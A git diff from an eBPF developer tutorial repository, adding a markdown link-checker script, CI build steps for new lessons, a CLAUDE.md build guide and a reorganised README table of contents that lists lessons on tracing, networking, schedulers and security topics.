diff --git a/.github/check_links.py b/.github/check_links.py new file mode 100644 index 00000000..d589e9ce --- /dev/null +++ b/.github/check_links.py @@ -0,0 +1,352 @@ +#!/usr/bin/env python3 +""" +Link Checker for eunomia.dev Documentation + +This script checks all URLs in markdown files for availability and generates a report. +It can be run locally or as part of CI/CD pipeline. + +Usage: + python check_links.py [--fix-internal] [--output-format ] [--timeout ] + +Options: + --fix-internal Attempt to fix internal eunomia.dev links + --output-format Output format: text, json, or markdown (default: text) + --timeout Request timeout in seconds (default: 10) +""" + +import re +import os +import sys +import glob +import json +import argparse +import requests +from urllib.parse import urlparse, urljoin +from concurrent.futures import ThreadPoolExecutor, as_completed +import time +from collections import defaultdict +from datetime import datetime + +# Configuration +HEADERS = { + 'User-Agent': 'Mozilla/5.0 (eunomia.dev Link Checker) AppleWebKit/537.36' +} + +# Regex patterns +URL_PATTERN = re.compile(r'https?://[^\s\)\]]+') +MARKDOWN_LINK_PATTERN = re.compile(r'\[([^\]]+)\]\(([^)]+)\)') + +# Known issues and replacements +KNOWN_REPLACEMENTS = { + 'https://eunomia.dev/tutorials/': 'https://eunomia.dev/tutorials/', + 'https://eunomia.dev/blogs/': 'https://eunomia.dev/blog/', + 'https://eunomia.dev/zh/tutorials/': 'https://eunomia.dev/tutorials/', + 'https://eunomia.dev/zh/blogs/': 'https://eunomia.dev/blog/', +} + +# URLs to skip checking +SKIP_URLS = [ + 'http://localhost', + 'http://127.0.0.1', + 'http://0.0.0.0', + 'https://chat.openai.com', # Often returns 403 +] + +class LinkChecker: + def __init__(self, root_dir, timeout=10): + self.root_dir = root_dir + self.timeout = timeout + self.url_to_files = defaultdict(list) + self.results = { + 'working': [], + 'broken': [], + 'skipped': [], + 'total': 0 + } + + def find_markdown_files(self): + """Find all markdown files in the project""" + md_files = [] + for pattern in ['**/*.md', '**/*.MD']: + md_files.extend(glob.glob(os.path.join(self.root_dir, pattern), recursive=True)) + # Filter out node_modules, .git, and other irrelevant directories + md_files = [f for f in md_files if not any(skip in f for skip in + ['node_modules', '.git', 'site/', 'build/', '_build/'])] + return sorted(md_files) + + def extract_urls_from_file(self, filepath): + """Extract all URLs from a markdown file""" + urls = set() + try: + with open(filepath, 'r', encoding='utf-8') as f: + content = f.read() + + # Find URLs in markdown links + for match in MARKDOWN_LINK_PATTERN.finditer(content): + url = match.group(2).strip() + if url.startswith('http'): + urls.add(url) + + # Find standalone URLs + for match in URL_PATTERN.finditer(content): + url = match.group(0).rstrip('.,;:!?"\'>]') + urls.add(url) + + except Exception as e: + print(f"Error reading {filepath}: {e}") + + return urls + + def should_skip_url(self, url): + """Check if URL should be skipped""" + return any(skip in url for skip in SKIP_URLS) + + def check_url(self, url): + """Check if a URL is accessible""" + if self.should_skip_url(url): + return url, None, "Skipped" + + try: + # Remove fragments for checking + url_without_fragment = url.split('#')[0] + + # Try HEAD request first + response = requests.head( + url_without_fragment, + headers=HEADERS, + timeout=self.timeout, + allow_redirects=True + ) + + # If HEAD fails with 4xx/5xx, try GET + if response.status_code >= 400: + response = requests.get( + url_without_fragment, + headers=HEADERS, + timeout=self.timeout, + allow_redirects=True + ) + + return url, response.status_code, None + + except requests.exceptions.Timeout: + return url, None, "Timeout" + except requests.exceptions.ConnectionError: + return url, None, "Connection Error" + except Exception as e: + return url, None, str(e) + + def collect_urls(self): + """Collect all URLs from markdown files""" + print("Finding markdown files...") + md_files = self.find_markdown_files() + print(f"Found {len(md_files)} markdown files") + + print("\nExtracting URLs...") + for md_file in md_files: + urls = self.extract_urls_from_file(md_file) + for url in urls: + relative_path = os.path.relpath(md_file, self.root_dir) + self.url_to_files[url].append(relative_path) + + self.results['total'] = len(self.url_to_files) + print(f"Found {self.results['total']} unique URLs to check") + + def check_all_urls(self, max_workers=10): + """Check all collected URLs concurrently""" + print(f"\nChecking URL availability with {max_workers} workers...") + + with ThreadPoolExecutor(max_workers=max_workers) as executor: + future_to_url = { + executor.submit(self.check_url, url): url + for url in self.url_to_files.keys() + } + + checked = 0 + for future in as_completed(future_to_url): + url, status_code, error = future.result() + checked += 1 + + if error == "Skipped": + self.results['skipped'].append({ + 'url': url, + 'files': self.url_to_files[url] + }) + elif status_code and 200 <= status_code < 400: + self.results['working'].append({ + 'url': url, + 'status': status_code, + 'files': self.url_to_files[url] + }) + else: + self.results['broken'].append({ + 'url': url, + 'status': status_code, + 'error': error, + 'files': self.url_to_files[url] + }) + + if checked % 50 == 0: + print(f"Progress: {checked}/{self.results['total']} URLs checked...") + + def generate_report(self, output_format='text'): + """Generate report in specified format""" + if output_format == 'json': + return self._generate_json_report() + elif output_format == 'markdown': + return self._generate_markdown_report() + else: + return self._generate_text_report() + + def _generate_text_report(self): + """Generate plain text report""" + report = [] + report.append("=" * 80) + report.append("LINK CHECK REPORT") + report.append(f"Generated: {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}") + report.append("=" * 80) + report.append(f"\nSUMMARY:") + report.append(f"Total URLs checked: {self.results['total']}") + report.append(f"Working links: {len(self.results['working'])}") + report.append(f"Broken links: {len(self.results['broken'])}") + report.append(f"Skipped links: {len(self.results['skipped'])}") + report.append(f"Success rate: {len(self.results['working']) / max(1, self.results['total'] - len(self.results['skipped'])) * 100:.1f}%") + + if self.results['broken']: + report.append("\n" + "=" * 80) + report.append("BROKEN LINKS (sorted by frequency)") + report.append("=" * 80) + + # Sort by number of occurrences + sorted_broken = sorted( + self.results['broken'], + key=lambda x: len(x['files']), + reverse=True + ) + + for item in sorted_broken[:50]: # Show top 50 + report.append(f"\nURL: {item['url']}") + if item['status']: + report.append(f"Status: HTTP {item['status']}") + else: + report.append(f"Error: {item['error']}") + report.append(f"Found in {len(item['files'])} file(s):") + + for f in item['files'][:5]: + report.append(f" - {f}") + if len(item['files']) > 5: + report.append(f" ... and {len(item['files']) - 5} more files") + + return "\n".join(report) + + def _generate_markdown_report(self): + """Generate markdown report suitable for GitHub issues""" + report = [] + report.append("# Link Check Report") + report.append(f"\n**Generated:** {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}") + report.append("\n## Summary\n") + report.append(f"- **Total URLs checked:** {self.results['total']}") + report.append(f"- **Working links:** {len(self.results['working'])} ✅") + report.append(f"- **Broken links:** {len(self.results['broken'])} ❌") + report.append(f"- **Skipped links:** {len(self.results['skipped'])} ⏭️") + report.append(f"- **Success rate:** {len(self.results['working']) / max(1, self.results['total'] - len(self.results['skipped'])) * 100:.1f}%") + + if self.results['broken']: + report.append("\n## Broken Links\n") + report.append("| URL | Status/Error | Files | Count |") + report.append("|-----|--------------|-------|-------|") + + sorted_broken = sorted( + self.results['broken'], + key=lambda x: len(x['files']), + reverse=True + ) + + for item in sorted_broken[:30]: + status = f"HTTP {item['status']}" if item['status'] else item['error'] + files = f"{item['files'][0]}" if len(item['files']) == 1 else f"{item['files'][0]} (+{len(item['files'])-1} more)" + report.append(f"| {item['url']} | {status} | {files} | {len(item['files'])} |") + + return "\n".join(report) + + def _generate_json_report(self): + """Generate JSON report for programmatic use""" + return json.dumps({ + 'metadata': { + 'generated': datetime.now().isoformat(), + 'root_dir': self.root_dir, + 'total_urls': self.results['total'] + }, + 'summary': { + 'working': len(self.results['working']), + 'broken': len(self.results['broken']), + 'skipped': len(self.results['skipped']), + 'success_rate': len(self.results['working']) / max(1, self.results['total'] - len(self.results['skipped'])) + }, + 'results': self.results + }, indent=2) + + def fix_internal_links(self): + """Attempt to fix known internal link issues""" + fixed_count = 0 + + for broken in self.results['broken']: + url = broken['url'] + if 'eunomia.dev' in url: + for old_pattern, new_pattern in KNOWN_REPLACEMENTS.items(): + if old_pattern in url: + new_url = url.replace(old_pattern, new_pattern) + print(f"Would fix: {url} -> {new_url}") + fixed_count += 1 + # TODO: Actually update the files + + print(f"\nIdentified {fixed_count} internal links that could be fixed") + + +def main(): + parser = argparse.ArgumentParser(description='Check links in markdown files') + parser.add_argument('--root-dir', default='.', + help='Root directory to search for markdown files') + parser.add_argument('--fix-internal', action='store_true', + help='Attempt to fix internal eunomia.dev links') + parser.add_argument('--output-format', choices=['text', 'json', 'markdown'], + default='text', help='Output format for the report') + parser.add_argument('--timeout', type=int, default=10, + help='Request timeout in seconds') + parser.add_argument('--max-workers', type=int, default=10, + help='Maximum number of concurrent requests') + parser.add_argument('--output-file', help='Save report to file') + + args = parser.parse_args() + + # Create checker instance + checker = LinkChecker(args.root_dir, args.timeout) + + # Collect and check URLs + checker.collect_urls() + checker.check_all_urls(args.max_workers) + + # Generate report + report = checker.generate_report(args.output_format) + + # Output report + if args.output_file: + with open(args.output_file, 'w', encoding='utf-8') as f: + f.write(report) + print(f"\nReport saved to: {args.output_file}") + else: + print("\n" + report) + + # Fix internal links if requested + if args.fix_internal: + checker.fix_internal_links() + + # Exit with error code if broken links found + if checker.results['broken']: + sys.exit(1) + else: + sys.exit(0) + + +if __name__ == "__main__": + main() \ No newline at end of file diff --git a/.github/workflows/auto-generate-docs.yml b/.github/workflows/auto-generate-docs.yml new file mode 100644 index 00000000..8b16bee9 --- /dev/null +++ b/.github/workflows/auto-generate-docs.yml @@ -0,0 +1,45 @@ +name: Auto Generate Documentation + +on: + push: + paths: + - 'src/**/README.md' + - 'src/**/README.zh.md' + - 'src/**/.config' + - 'scripts/generate_toc.py' + - 'scripts/*.template' + workflow_dispatch: + +jobs: + generate-docs: + runs-on: ubuntu-latest + + steps: + - name: Checkout repository + uses: actions/checkout@v4 + with: + fetch-depth: 0 + token: ${{ secrets.GITHUB_TOKEN }} + + - name: Set up Python + uses: actions/setup-python@v4 + with: + python-version: '3.x' + + - name: Generate documentation + run: | + python3 scripts/generate_toc.py + + - name: Check for changes + id: check_changes + run: | + git diff --quiet || echo "has_changes=true" >> $GITHUB_OUTPUT + + - name: Commit and push changes + if: steps.check_changes.outputs.has_changes == 'true' + run: | + git config --local user.email "github-actions[bot]@users.noreply.github.com" + git config --local user.name "github-actions[bot]" + git add README.md README.zh.md src/SUMMARY.md src/SUMMARY.zh.md + git commit -m "docs: auto-generate documentation" + git push diff --git a/.github/workflows/main.yml b/.github/workflows/main.yml deleted file mode 100644 index e0dcf31e..00000000 --- a/.github/workflows/main.yml +++ /dev/null @@ -1,30 +0,0 @@ -name: CI - -on: - push: - branches: [ main ] - pull_request: - branches: [ main ] - -jobs: - build: - name: Deploy gh-pages - runs-on: ubuntu-latest - permissions: - contents: write - pull-requests: write - steps: - - uses: actions/checkout@v3.3.0 - - uses: actions-rs/toolchain@v1 - with: - toolchain: stable - - name: install mdbook - run: (test -x $HOME/.cargo/bin/mdbook || cargo install mdbook) - - name: build and test - run: mdbook build - - name: publish - if: github.event_name == 'push' && github.ref == 'refs/heads/main' && github.repository_owner == 'eunomia-bpf' - uses: JamesIves/github-pages-deploy-action@v4.4.1 - with: - branch: gh-pages - folder: book diff --git a/.github/workflows/test-eunomia.yaml b/.github/workflows/test-eunomia.yaml index a44976d9..91c7f272 100644 --- a/.github/workflows/test-eunomia.yaml +++ b/.github/workflows/test-eunomia.yaml @@ -79,3 +79,7 @@ jobs: run: | ./ecc src/25-signal/signal.bpf.c src/25-signal/signal.h sudo timeout -s 2 3 ./ecli run src/25-signal/package.json || if [ $? = 124 ]; then exit 0; else exit $?; fi + - name: test 31 goroutine + run: | + ./ecc src/31-goroutine/goroutine.bpf.c src/31-goroutine/goroutine.h + # todo diff --git a/.github/workflows/test-libbpf.yml b/.github/workflows/test-libbpf.yml index 8da0881d..c7705aeb 100644 --- a/.github/workflows/test-libbpf.yml +++ b/.github/workflows/test-libbpf.yml @@ -61,7 +61,53 @@ jobs: run: | make -C src/30-sslsniff sudo timeout -s 2 3 src/30-sslsniff/sslsniff || if [ $? = 124 ]; then exit 0; else exit $?; fi + + - name: test 32 wallclock-profiler + run: | + make -C src/32-wallclock-profiler + # Test individual tools can be built and show help + src/32-wallclock-profiler/oncputime --help || true + src/32-wallclock-profiler/offcputime --help || true + + - name: test 33 funclatency + run: | + make -C src/33-funclatency - name: test 35-user-ringbuf run: | make -C src/35-user-ringbuf - sudo timeout -s 2 3 src/35-user-ringbuf/user_ringbuf || if [ $? = 124 ]; then exit 0; else exit $?; fi \ No newline at end of file + sudo timeout -s 2 3 src/35-user-ringbuf/user_ringbuf || if [ $? = 124 ]; then exit 0; else exit $?; fi + + - name: test 41 xdp + run: | + make -C src/41-xdp-tcpdump + + - name: test 42 xdp + run: | + make -C src/42-xdp-loadbalancer + + - name: test 43 kfuncs + run: | + make -C src/43-kfuncs + + - name: test 44 + run: | + make -C src/44-scx-simple + - name: test 45 + run: | + make -C src/45-scx-nest + + - name: test 46 xdp-pktgen + run: | + make -C src/46-xdp-test + + - name: test features bpf_arena + run: | + make -C src/features/bpf_arena + + - name: test features bpf_iters + run: | + make -C src/features/bpf_iters + + - name: test features bpf_wq + run: | + make -C src/features/bpf_wq diff --git a/.github/workflows/trigger-sync.yml b/.github/workflows/trigger-sync.yml index d08a4a10..06a9e64f 100644 --- a/.github/workflows/trigger-sync.yml +++ b/.github/workflows/trigger-sync.yml @@ -18,41 +18,13 @@ jobs: ref: main path: ./. - - name: Checkout main repository - uses: actions/checkout@v3 - with: - repository: ${{ github.repository_owner }}/eunomia-bpf - ref: master - path: eunomia-bpf - - - name: Checkout this repository - uses: actions/checkout@v3 - with: - repository: ${{ github.repository_owner }}/bpf-developer-tutorial - ref: ${{ github.ref }} - path: tutorial - - - name: Change suffix - run: | - find ./tutorial -type f -name "*.md" ! -name "*_en*" -exec bash -c 'mv "$1" "${1%.md}.zh.md"' bash {} \; - find ./tutorial -type f -name "*_en*.md" -exec bash -c 'mv "$1" "${1//_en/}"' bash {} \; - - - name: Merge changes - run: | - cp -rf eunomia-bpf/documents/src docs - mkdir docs/tutorials - cp -rf tutorial/src/* docs/tutorials - mv tutorial/src/SUMMARY.zh.md docs/tutorials/index.zh.md - mv tutorial/src/SUMMARY.md docs/tutorials/index.md - - uses: actions/setup-python@v4 with: python-version: 3.x - - name: Install dependents + - name: Install all run: | - pip install mkdocs-material=="9.*" mkdocs-static-i18n=="0.53" - pip install "mkdocs-material[imaging]" + make install - name: Test page build run: | diff --git a/.gitmodules b/.gitmodules index 63e88839..a15a3922 100644 --- a/.gitmodules +++ b/.gitmodules @@ -1,9 +1,6 @@ [submodule "src/third_party/blazesym"] path = src/third_party/blazesym url = https://github.com/libbpf/blazesym -[submodule "src/third_party/libbpf"] - path = src/third_party/libbpf - url = https://github.com/libbpf/libbpf.git [submodule "src/third_party/bpftool"] path = src/third_party/bpftool url = https://github.com/libbpf/bpftool diff --git a/CLAUDE.md b/CLAUDE.md new file mode 100644 index 00000000..498595b1 --- /dev/null +++ b/CLAUDE.md @@ -0,0 +1,61 @@ +# CLAUDE.md + +This file provides guidance to Claude Code (claude.ai/code) when working with code in this repository. + +## Project Overview + +This is the eBPF Developer Tutorial repository - a comprehensive learning resource for eBPF development. It provides 48+ practical examples progressing from beginner to advanced topics using modern eBPF frameworks like libbpf, Cilium eBPF, and libbpf-rs. + +## Common Development Tasks + +### Building eBPF Examples + +Most examples use libbpf and follow this pattern: +```bash +cd src/- +make +``` + +For Rust examples (in src/37-uprobe-rust/): +```bash +cd src/37-uprobe-rust/ +cargo build +``` + +### Running Examples + +Most examples require root privileges: +```bash +sudo ./ +# or with timeout for continuous monitoring tools: +sudo timeout -s 2 3 ./ +``` + +### Clean Build Artifacts +```bash +make clean +``` + +## Architecture + +### Build System +- **Framework**: GNU Make with libbpf +- **BPF Compilation**: Clang/LLVM compiles `.bpf.c` → `.bpf.o` +- **Skeleton Generation**: bpftool generates `.skel.h` from BPF objects +- **User Space**: GCC compiles C programs linking with libbpf +- **Dependencies**: All in `src/third_party/` (libbpf, bpftool, blazesym, vmlinux headers) + +### Directory Structure +- `src/0-10`: Basic eBPF concepts (kprobes, uprobes, tracepoints) +- `src/11-18`: Advanced libbpf development +- `src/19-21,29,41-42`: Networking (LSM, TC, XDP, sockops) +- `src/22-28,34`: Security topics +- `src/31,37`: Language integration (Go, Rust) +- `src/44-45`: BPF schedulers +- `src/47`: GPU tracing +- Each tutorial has its own Makefile and README + +### Key Components +1. **vmlinux headers**: Pre-generated for x86, arm, arm64, riscv, powerpc, loongarch +2. **CO-RE (Compile Once, Run Everywhere)**: Uses BTF for kernel compatibility +3. **Multiple frameworks**: libbpf (primary), eunomia-bpf, Cilium eBPF, libbpf-rs \ No newline at end of file diff --git a/README.md b/README.md index 8c12074a..135a472d 100644 --- a/README.md +++ b/README.md @@ -1,6 +1,7 @@ # eBPF Developer Tutorial: Learning eBPF Step by Step with Examples -[![CI](https://github.com/eunomia-bpf/bpf-developer-tutorial/actions/workflows/main.yml/badge.svg)](https://github.com/eunomia-bpf/bpf-developer-tutorial/actions/workflows/main.yml) +[![Test example CI](https://github.com/eunomia-bpf/bpf-developer-tutorial/actions/workflows/test-libbpf.yml/badge.svg)](https://github.com/eunomia-bpf/bpf-developer-tutorial/actions/workflows/test-libbpf.yml) +[![Test and trigger downstream tutorial sync](https://github.com/eunomia-bpf/bpf-developer-tutorial/actions/workflows/trigger-sync.yml/badge.svg)](https://github.com/eunomia-bpf/bpf-developer-tutorial/actions/workflows/trigger-sync.yml) [GitHub](https://github.com/eunomia-bpf/bpf-developer-tutorial) [Gitee Mirror](https://gitee.com/yunwei37/bpf-developer-tutorial) @@ -8,11 +9,11 @@ This is a development tutorial for eBPF based on CO-RE (Compile Once, Run Everywhere). It provides practical eBPF development practices from beginner to advanced, including basic concepts, code examples, and real-world applications. Unlike BCC, we use frameworks like `libbpf`, `Cilium`, `libbpf-rs`, and eunomia-bpf for development, with examples in languages such as `C`, `Go`, and `Rust`. -This tutorial does not cover complex concepts and scenario introductions. Its main purpose is to provide examples of eBPF tools (**very short, starting with twenty lines of code!**) to help eBPF application developers quickly grasp eBPF development methods and techniques. The tutorial content can be found in the directory, with each directory being an independent eBPF tool example. +This tutorial **does not cover complex concepts and scenario introductions**. Its main purpose is to provide examples of eBPF tools (**very short, starting with twenty lines of code!**) to help eBPF application developers quickly grasp eBPF development methods and techniques. The tutorial content can be found in the directory, with each directory being an independent eBPF tool example. The tutorial focuses on eBPF examples in observability, networking, security, and more. -#### [**中文版在这里**](README.zh.md) +[**中文版在这里**](README.zh.md) ## Table of Contents @@ -20,78 +21,123 @@ The tutorial focuses on eBPF examples in observability, networking, security, an This section contains simple eBPF program examples and introductions. It primarily utilizes the `eunomia-bpf` framework to simplify development and introduces the basic usage and development process of eBPF. -- [lesson 0-introduce](src/0-introduce/README_en.md) Introduces basic concepts of eBPF and common development tools -- [lesson 1-helloworld](src/1-helloworld/README_en.md) Develops the simplest "Hello World" program using eBPF and introduces the basic framework and development process of eBPF -- [lesson 2-kprobe-unlink](src/2-kprobe-unlink/README_en.md) Uses kprobe in eBPF to capture the unlink system call -- [lesson 3-fentry-unlink](src/3-fentry-unlink/README_en.md) Uses fentry in eBPF to capture the unlink system call -- [lesson 4-opensnoop](src/4-opensnoop/README_en.md) Uses eBPF to capture the system call collection of processes opening files, and filters process PIDs in eBPF using global variables -- [lesson 5-uprobe-bashreadline](src/5-uprobe-bashreadline/README_en.md) Uses uprobe in eBPF to capture the readline function calls in bash -- [lesson 6-sigsnoop](src/6-sigsnoop/README_en.md) Captures the system call collection of processes sending signals and uses a hash map to store states -- [lesson 7-execsnoop](src/7-execsnoop/README_en.md) Captures process execution times and prints output to user space through perf event array -- [lesson 8-exitsnoop](src/8-exitsnoop/README_en.md) Captures process exit events and prints output to user space using a ring buffer -- [lesson 9-runqlat](src/9-runqlat/README_en.md) Captures process scheduling delays and records them in histogram format -- [lesson 10-hardirqs](src/10-hardirqs/README_en.md) Captures interrupt events using hardirqs or softirqs - +- [lesson 0-introduce](src/0-introduce/README.md) Introduction to Core Concepts and Tools +- [lesson 1-helloworld](src/1-helloworld/README.md) Hello World, Framework and Development +- [lesson 2-kprobe-unlink](src/2-kprobe-unlink/README.md) Monitoring unlink System Calls with kprobe +- [lesson 3-fentry-unlink](src/3-fentry-unlink/README.md) Monitoring unlink System Calls with fentry +- [lesson 4-opensnoop](src/4-opensnoop/README.md) Capturing Opening Files and Filter with Global Variables +- [lesson 5-uprobe-bashreadline](src/5-uprobe-bashreadline/README.md) Capturing readline Function Calls with Uprobe +- [lesson 6-sigsnoop](src/6-sigsnoop/README.md) Capturing Signal Sending and Store State with Hash Maps +- [lesson 7-execsnoop](src/7-execsnoop/README.md) Capturing Process Execution, Output with perf event array +- [lesson 8-exitsnoop](src/8-exitsnoop/README.md) Monitoring Process Exit Events, Output with Ring Buffer +- [lesson 9-runqlat](src/9-runqlat/README.md) Capturing Scheduling Latency and Recording as Histogram +- [lesson 10-hardirqs](src/10-hardirqs/README.md) Capturing Interrupts with hardirqs or softirqs ### Advanced Documents and Examples We start to build complete eBPF projects mainly based on `libbpf` and combine them with various application scenarios for practical use. -- [lesson 11-bootstrap](src/11-bootstrap/README_en.md) Writes native libbpf user space code for eBPF using libbpf-bootstrap and establishes a complete libbpf project. -- [lesson 12-profile](src/12-profile/README_en.md) Performs performance analysis using eBPF -- [lesson 13-tcpconnlat](src/13-tcpconnlat/README_en.md) Records TCP connection latency and processes data in user space using libbpf -- [lesson 14-tcpstates](src/14-tcpstates/README_en.md) Records TCP connection state and TCP RTT.- [lesson 15-javagc](src/15-javagc/README_en.md) Capture user-level Java GC event duration using usdt -- [lesson 16-memleak](src/16-memleak/README_en.md) Detect memory leaks -- [lesson 17-biopattern](src/17-biopattern/README_en.md) Capture disk IO patterns -- [lesson 18-further-reading](src/18-further-reading/README_en.md) Further reading: papers list, projects, blogs, etc. -- [lesson 19-lsm-connect](src/19-lsm-connect/README_en.md) Use LSM for security detection and defense -- [lesson 20-tc](src/20-tc/README_en.md) Use eBPF for tc traffic control -- [lesson 21-xdp](src/21-xdp/README_en.md) Use eBPF for XDP packet processing - +- [lesson 11-bootstrap](src/11-bootstrap/README.md) Develop User-Space Programs with libbpf and Trace exec() and exit() +- [lesson 12-profile](src/12-profile/README.md) Using eBPF Program Profile for Performance Analysis +- [lesson 13-tcpconnlat](src/13-tcpconnlat/README.md) Statistics of TCP Connection Delay with libbpf +- [lesson 14-tcpstates](src/14-tcpstates/README.md) Recording TCP Connection Status and TCP RTT +- [lesson 15-javagc](src/15-javagc/README.md) Capturing User-Space Java GC Duration Using USDT +- [lesson 16-memleak](src/16-memleak/README.md) Monitoring Memory Leaks +- [lesson 17-biopattern](src/17-biopattern/README.md) Count Random/Sequential Disk I/O +- [lesson 18-further-reading](src/18-further-reading/README.md) More Reference Materials: papers, projects +- [lesson 19-lsm-connect](src/19-lsm-connect/README.md) Security Detection and Defense using LSM +- [lesson 20-tc](src/20-tc/README.md) tc Traffic Control +- [lesson 21-xdp](src/21-xdp/README.md) Programmable Packet Processing with XDP ### In-Depth Topics This section covers advanced topics related to eBPF, including using eBPF programs on Android, possible attacks and defenses using eBPF programs, and complex tracing. Combining the user-mode and kernel-mode aspects of eBPF can bring great power (as well as security risks). -Android: -- [Using eBPF programs on Android](src/22-android/README_en.md) -Networking and tracing: +GPU: + +- [lesson 47-cuda-events](src/47-cuda-events/README.md) Tracing CUDA GPU Operations +- [lesson xpu/npu-kernel-driver](src/xpu/npu-kernel-driver/README.md) Tracing Intel NPU Kernel Driver Operations +- [xpu flamegraph](src/xpu/flamegraph/README.md) Building a GPU Flamegraph Profiler with CUPTI +- [lesson xpu/gpu-kernel-driver](src/xpu/gpu-kernel-driver/README.md) Monitoring GPU Driver Activity with Kernel Tracepoints + + +Scheduler: + +- [lesson 44-scx-simple](src/44-scx-simple/README.md) Introduction to the BPF Scheduler +- [lesson 45-scx-nest](src/45-scx-nest/README.md) Implementing the `scx_nest` Scheduler + + +Networking: + +- [lesson 23-http](src/23-http/README.md) L7 Tracing with eBPF: HTTP and Beyond via Socket Filters and Syscall Tracepoints +- [lesson 29-sockops](src/29-sockops/README.md) Accelerating Network Request Forwarding with Sockops +- [lesson 41-xdp-tcpdump](src/41-xdp-tcpdump/README.md) Capturing TCP Information with XDP +- [lesson 42-xdp-loadbalancer](src/42-xdp-loadbalancer/README.md) XDP Load Balancer +- [lesson 46-xdp-test](src/46-xdp-test/README.md) Building a High-Performance XDP Packet Generator + + +Tracing: + +- [lesson 30-sslsniff](src/30-sslsniff/README.md) Capturing SSL/TLS Plain Text Data Using uprobe +- [lesson 31-goroutine](src/31-goroutine/README.md) Using eBPF to Trace Go Routine States +- [lesson 33-funclatency](src/33-funclatency/README.md) Measuring Function Latency with eBPF +- [lesson 37-uprobe-rust](src/37-uprobe-rust/README.md) Tracing User Space Rust Applications with Uprobe +- [lesson 39-nginx](src/39-nginx/README.md) Using eBPF to Trace Nginx Requests +- [lesson 40-mysql](src/40-mysql/README.md) Using eBPF to Trace MySQL Queries +- [lesson 48-energy](src/48-energy/README.md) Energy Monitoring for Process-Level Power Analysis -- [Tracing HTTP requests or other layer-7 protocols using eBPF socket filter or syscall trace](src/23-http/README_en.md) -- [Accelerating network request forwarding using sockops](src/29-sockops/README_en.md) -- [Capturing Plain Text Data of Various Libraries' SSL/TLS Using uprobe](src/30-sslsniff/README_en.md) Security: -- [Use eBPF to modify syscall parameters](src/34-syscall/README.md) -- [The Secure Path Forward for eBPF: Challenges and Innovations](src/18-further-reading/ebpf-security.md) -- [Hiding process or file information using eBPF](src/24-hide/README_en.md) -- [Terminating processes by sending signals using bpf_send_signal](src/25-signal/README_en.md) -- [Adding sudo users using eBPF](src/26-sudo/README_en.md) -- [Replacing text read or written by any program using eBPF](src/27-replace/README_en.md) -- [BPF lifecycle: Running eBPF programs continuously in Detached mode after user-mode applications exit](src/28-detach/README_en.md) +- [lesson 24-hide](src/24-hide/README.md) Hiding Process or File Information +- [lesson 25-signal](src/25-signal/README.md) Using bpf_send_signal to Terminate Malicious Processes in eBPF +- [lesson 26-sudo](src/26-sudo/README.md) Privilege Escalation via File Content Manipulation +- [lesson 27-replace](src/27-replace/README.md) Transparent Text Replacement in File Reads +- [lesson 28-detach](src/28-detach/README.md) Running eBPF After Application Exits: The Lifecycle of eBPF Programs +- [lesson 34-syscall](src/34-syscall/README.md) Modifying System Call Arguments with eBPF + + +Features: + +- [lesson 35-user-ringbuf](src/35-user-ringbuf/README.md) Asynchronously Send to Kernel with User Ring Buffer +- [lesson 36-userspace-ebpf](src/36-userspace-ebpf/README.md) Userspace eBPF Runtimes: Overview and Applications +- [lesson 38-btf-uprobe](src/38-btf-uprobe/README.md) Expanding eBPF Compile Once, Run Everywhere(CO-RE) to Userspace Compatibility +- [lesson 43-kfuncs](src/43-kfuncs/README.md) Extending eBPF Beyond Its Limits: Custom kfuncs in Kernel Modules +- [features bpf_wq](src/features/bpf_wq/README.md) BPF Workqueues for Asynchronous Sleepable Tasks +- [features bpf_iters](src/features/bpf_iters/README.md) BPF Iterators for Kernel Data Export +- [features struct_ops](src/features/struct_ops/README.md) BPF struct_ops Example with Custom Kernel Module +- [features bpf_arena](src/features/bpf_arena/README.md) BPF Arena for Zero-Copy Shared Memory Other: -- [Using user ring buffer to send information to the kernel](src/35-user-ringbuf/README.md) -- [Userspace eBPF Runtimes: Overview and Applications](src/36-userspace-ebpf/README.md) -- [Compile Once, Run Everywhere for userspace trace with eBPF and BTF](src/38-btf-uprobe/README.md) +- [lesson 49-hid](src/49-hid/README.md) Fixing Broken HID Devices Without Kernel Patches + + +Android: + +- [lesson 22-android](src/22-android/README.md) Using eBPF Programs on Android Continuously updating... ## Why write this tutorial? -In the process of learning eBPF, we have been inspired and helped by the [bcc python developer tutorial](src/bcc-documents/tutorial_bcc_python_developer.md). However, from the current perspective, using libbpf to develop eBPF applications is a relatively better choice. However, there seems to be few tutorials that focus on eBPF development based on libbpf and BPF CO-RE, introducing it through examples and tools. Therefore, we initiated this project, adopting a similar organization method as the bcc python developer tutorial, but using CO-RE's libbpf for development. +In the process of learning eBPF, we have been inspired and helped by the [bcc python developer tutorial](src/bcc-documents/tutorial_bcc_python_developer.md). However, from the current perspective, using `libbpf` to develop eBPF applications is a relatively better choice. -This project is mainly based on [libbpf-bootstrap](https://github.com/libbpf/libbpf-bootstrap) and [eunomia-bpf](https://github.com/eunomia-bpf/eunomia-bpf) frameworks, and uses eunomia-bpf to help simplify the development of some user-space libbpf eBPF code, allowing developers to focus on kernel-space eBPF code development. +This project is mainly based on [libbpf](https://github.com/libbpf/libbpf) frameworks. > - We also provide a small tool called GPTtrace, which uses ChatGPT to automatically write eBPF programs and trace Linux systems through natural language descriptions. This tool allows you to interactively learn eBPF programs: [GPTtrace](https://github.com/eunomia-bpf/GPTtrace) > - Feel free to raise any questions or issues related to eBPF learning, or bugs encountered in practice, in the issue or discussion section of this repository. We will do our best to help you! +## Install deps and Compile + +- For libbpf based: see [src/11-bootstrap](https://github.com/eunomia-bpf/bpf-developer-tutorial/blob/main/src/11-bootstrap/README.md) +- For eunomia-bpf based: see [src/1-helloworld](https://github.com/eunomia-bpf/bpf-developer-tutorial/blob/main/src/1-helloworld/README.md) + ## GitHub Templates: Easily build eBPF projects and development environments, compile and run eBPF programs online with one click -When starting a new eBPF project, are you confused about how to set up the environment and choose a programming language? Don't worry, we have prepared a series of GitHub templates for you to quickly start a brand new eBPF project. Just click the `Use this template` button on GitHub to get started.- : eBPF project template based on the C language and libbpf framework +When starting a new eBPF project, are you confused about how to set up the environment and choose a programming language? Don't worry, we have prepared a series of GitHub templates for you to quickly start a brand new eBPF project. Just click the `Use this template` button on GitHub to get started. +- : eBPF project template based on the C language and libbpf framework - : eBPF project template based on the Go language and cilium/ framework - : eBPF project template based on the Rust language and libbpf-rs framework - : eBPF project template based on the C language and eunomia-bpf framework @@ -123,79 +169,32 @@ After writing code in a codespace and making a commit, GitHub Actions will compi ```console $ sudo docker run --rm -it 